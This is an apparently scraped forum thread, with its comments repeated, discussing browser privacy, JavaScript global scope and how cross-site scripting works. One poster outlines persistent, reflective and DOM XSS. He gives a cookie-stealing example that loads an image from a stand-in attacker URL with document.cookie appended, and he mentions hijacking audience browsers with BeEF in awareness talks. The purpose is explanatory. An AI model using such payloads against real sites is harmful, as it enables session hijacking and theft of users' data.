I agree with you completely on the responsibility and accountability aspect.
Many don't. Everyone falls pray to the lazy and irresponsibility because of this. I'm all for saying no. Ablock, ghostery, noscript, etc. are all in place protecting me as best they can.
It's frightening if I ever have to sit down at an unprotected web browser. Sites look dramatically different when you don't block things.
I keep hearing about "cross site scripting attacks".
I mean WTF? It's probably easier for a browser to disallow cross site access than it is to allow it.
Given that everything in JavaScript is global in the browser (without going through hoops to prevent that) I guess single site access was the original intent.
I can possibly understand this when it comes to Internet Explorer, given Microsoft's historic attitude to security, but open source browsers have no excuse for going along with this "load everything, run everything, and be damned" approach.
Cross Site Scripting is not a javascript vulnerability. Javascript is just a convenient payload to abuse.
As it happens JS is the ONLY payload available to be abused in the browser environment. Well of course there are plugins like Java applets or FLASH etc. But I'm counting those as user installed addons (that makes it the users responsibility) or of historical interest only anyway.
Anyway, yes, JavaScript is a language. As such it does not have any vulnerabilities. It's all down to what your browser allows JS to do.
For example: I may end up with some JS that has a variable "password" that is global to all the JS running in the context of my web page. But then I fetch some library from some ad network that can easily read all my globals! BOOM the user is comromised.
Contrast to Node.js where there can be many modules but each module can only see what oher modules export.
Hopefully this kind of system is comming to browsers soon.
Technically, most security holes that let most "cross site scripting" attacks occur, would still allow attacks even without browsers allowing "cross site scripting". The usual types of "cross site scripting" attacks are really about code on a web site's server not properly sanitizing/filtering third-party (i.e. user-generated) content, allowing malicious javascript to get injected in the page. It often involves pulling in malicious code from another domain, garnering the "cross site scripting attack" term, but in most cases it wouldn't have to. Plenty of issues in modern browsers, but the "cross site scripting" attacks are more often the fault of server code, such that changing the browsers wouldn't fix the underlying issue.
On the one hand I can point my browser to site A and it ends up fetching JS from site B, C, D...Z. In which there is a good chance of some bad stuff going on.
What you seem to be suggesting is that I can point my browser to site A and it's server then fetches JS from sites B,C,D...Z Which it then sends to my browser. In which there is a good chance of some bad stuff going on.
Oh boy we are screwed.
What you are saying is we have to trust our web sites not to include stuff either at the browser end or the server end.
The browser end we can defend ourselves if need be.
The server end, well it does not matter, we have already, given them our passwords and inside leg measurements as they ask. If we can't trust them with our information all bets are off.
What I mean is, in practice most (but not all) "cross site scripting" attacks consist of something like... say... if forum software (like that which we're using) allowed one to enter <script>alert('Hello!');</script> and have it sent to clients as HTML without escaping it. (In practice the holes are often more subtle than a text field in forum software (sometimes it could be part of a URL for example), but it's the same sort of thing in principal.) A greenhorn web developer thinking about security might (and often do) overlook this issue because it doesn't directly allow the server to be broken into, but it means a malicious actor could insert code in the page that on a user's browser executes with the same privileges as anything normally served on the page. Such a malicious actor would often insert javascript code or other HTML that would pull in malicious content from a different domain and allow it to execute with these same privilages, this is the cross-site aspect. The same security hole doesn't have to be used to pull in malicious code cross-site though, as the injected HTML/javascript could contain plenty of malicious functionality directly. What I describe is not always how cross site scripting attacks are, but it's how most typically are.
..If we could get a bit of honesty from our tools, perhaps we could make more informed decisions. But when they are part of the lie, there's not much hope.
I never understood this business about my computer talking everywhere all the time. How did that ever get allowed to happen? My computer should only do what I tell it. ...
I'm not sure why that idea wasn't laughed out of the room as soon as it was uttered.
I'm relieved to hear that this sort of thing bothers you techie guys as much as it bothers me. I was getting the feeling I just didn't know what I was talking about. My "favorite" example of how out of control all of this has become is the anti-virus software I was using a year or so ago. I bought it, of course, to protect my computer... only to find out later on it was recording data about my usage and sending the data "anonymously" (yeah, right) back to the anti-virus software company "for quality control purposes," they later told me.
How did we get to this point in history where the default case for using a product is to allow the product manufacturer (and tons of other people) to peek up your dress? How would we feel if we bought a house from a building contractor, only to discover they had installed cameras in all the smoke detectors "for quality control purposes." Hey, they just want to know more about how their customers use the showers they installed, that's all. Perfectly innocent. If you've got nothing to hide, why should you care?
I feel like I'm continuously doing battle with my computer to try to maintain at least some tiny amount of security and privacy, but I know lots of people who've just given up on the idea. For one thing, 99.999% of the human race just doesn't have time or knowledge enough to be digging into the guts of every frickin piece of technology they might be using at any given moment. It's an outrage.
The only thing SQL injection and XSS have in common is lack of input validation. To summarize, web developers forget that I can abuse and modify any traffic that comes via my network so the output of their application can (and will) be abused if it comes my way. For example, give me a html drop down menu to choose A or B, I'll send Q.
There are three basic types of XSS.
Persistent - An attacker succeeds in modifying a page for all users. Obviously the most dangerous and the most fun from my point of view. For example, if this forum allowed me to insert javascript then everyone who viewed my post would have that javascript executed in the context of the parallax site.
Reflective - An attacker can get the remote server to echo back something it sends it unescaped. The most common example I see of this is when you try and log into a site and they respond: "No such user as youname". If I now login with a username which contains a <script ...> it executes. Using this I can steal your cookies by loading a 1x1 pixel image at http://pwn.me/cgi/thievery?document.cookie (add syntax). This is abused most frequently through links or emails.
DOM XSS - Your injected javascript modifies the document from under you. For example, to modify the <form> submit paramter to re-direct your data to me.
If you want to have some fun, play with BeEF, the browser exploitation framework. From time to time I do public awareness talks and always end with beef. It's fun and doesn't exploit ANY bugs. It uses only legitimate functionality.
I get a room full of people to hit my XSS'd website from windows, mac, linux, droid, iphone - doesn't matter.
Then I tell them to browse around,
The reaction is quite spectacular when I click a few buttons and every browser in the room is hijacked by 'clippy'.
Seeing Office's much loved clippy appear over your facebook or email on your iphone is sobering for some.
Comments
I agree with you completely on the responsibility and accountability aspect.
Many don't. Everyone falls pray to the lazy and irresponsibility because of this. I'm all for saying no. Ablock, ghostery, noscript, etc. are all in place protecting me as best they can.
It's frightening if I ever have to sit down at an unprotected web browser. Sites look dramatically different when you don't block things.
I mean WTF? It's probably easier for a browser to disallow cross site access than it is to allow it.
Given that everything in JavaScript is global in the browser (without going through hoops to prevent that) I guess single site access was the original intent.
I can possibly understand this when it comes to Internet Explorer, given Microsoft's historic attitude to security, but open source browsers have no excuse for going along with this "load everything, run everything, and be damned" approach.
Anyway, yes, JavaScript is a language. As such it does not have any vulnerabilities. It's all down to what your browser allows JS to do.
For example: I may end up with some JS that has a variable "password" that is global to all the JS running in the context of my web page. But then I fetch some library from some ad network that can easily read all my globals! BOOM the user is comromised.
Contrast to Node.js where there can be many modules but each module can only see what oher modules export.
Hopefully this kind of system is comming to browsers soon.
Wait a minute, I don't understand.
On the one hand I can point my browser to site A and it ends up fetching JS from site B, C, D...Z. In which there is a good chance of some bad stuff going on.
What you seem to be suggesting is that I can point my browser to site A and it's server then fetches JS from sites B,C,D...Z Which it then sends to my browser. In which there is a good chance of some bad stuff going on.
Oh boy we are screwed.
What you are saying is we have to trust our web sites not to include stuff either at the browser end or the server end.
The browser end we can defend ourselves if need be.
The server end, well it does not matter, we have already, given them our passwords and inside leg measurements as they ask. If we can't trust them with our information all bets are off.
OK. So this is like an SQL injection attack. Where the web page users enters SQL in a form response that ends up messing with the websites database.
But in this case it's Javascript that is entered by, say me, that ends up in your web page view where it can do it's thing. Cool.
<script>alert('Hello!');</script>
I'm relieved to hear that this sort of thing bothers you techie guys as much as it bothers me. I was getting the feeling I just didn't know what I was talking about. My "favorite" example of how out of control all of this has become is the anti-virus software I was using a year or so ago. I bought it, of course, to protect my computer... only to find out later on it was recording data about my usage and sending the data "anonymously" (yeah, right) back to the anti-virus software company "for quality control purposes," they later told me.
How did we get to this point in history where the default case for using a product is to allow the product manufacturer (and tons of other people) to peek up your dress? How would we feel if we bought a house from a building contractor, only to discover they had installed cameras in all the smoke detectors "for quality control purposes." Hey, they just want to know more about how their customers use the showers they installed, that's all. Perfectly innocent. If you've got nothing to hide, why should you care?
I feel like I'm continuously doing battle with my computer to try to maintain at least some tiny amount of security and privacy, but I know lots of people who've just given up on the idea. For one thing, 99.999% of the human race just doesn't have time or knowledge enough to be digging into the guts of every frickin piece of technology they might be using at any given moment. It's an outrage.
The only thing SQL injection and XSS have in common is lack of input validation. To summarize, web developers forget that I can abuse and modify any traffic that comes via my network so the output of their application can (and will) be abused if it comes my way. For example, give me a html drop down menu to choose A or B, I'll send Q.
There are three basic types of XSS.
- Persistent - An attacker succeeds in modifying a page for all users. Obviously the most dangerous and the most fun from my point of view. For example, if this forum allowed me to insert javascript then everyone who viewed my post would have that javascript executed in the context of the parallax site.
- Reflective - An attacker can get the remote server to echo back something it sends it unescaped. The most common example I see of this is when you try and log into a site and they respond: "No such user as youname". If I now login with a username which contains a <script ...> it executes. Using this I can steal your cookies by loading a 1x1 pixel image at http://pwn.me/cgi/thievery?document.cookie (add syntax). This is abused most frequently through links or emails.
- DOM XSS - Your injected javascript modifies the document from under you. For example, to modify the <form> submit paramter to re-direct your data to me.
If you want to have some fun, play with BeEF, the browser exploitation framework. From time to time I do public awareness talks and always end with beef. It's fun and doesn't exploit ANY bugs. It uses only legitimate functionality.I get a room full of people to hit my XSS'd website from windows, mac, linux, droid, iphone - doesn't matter.
Then I tell them to browse around,
The reaction is quite spectacular when I click a few buttons and every browser in the room is hijacked by 'clippy'.
Seeing Office's much loved clippy appear over your facebook or email on your iphone is sobering for some.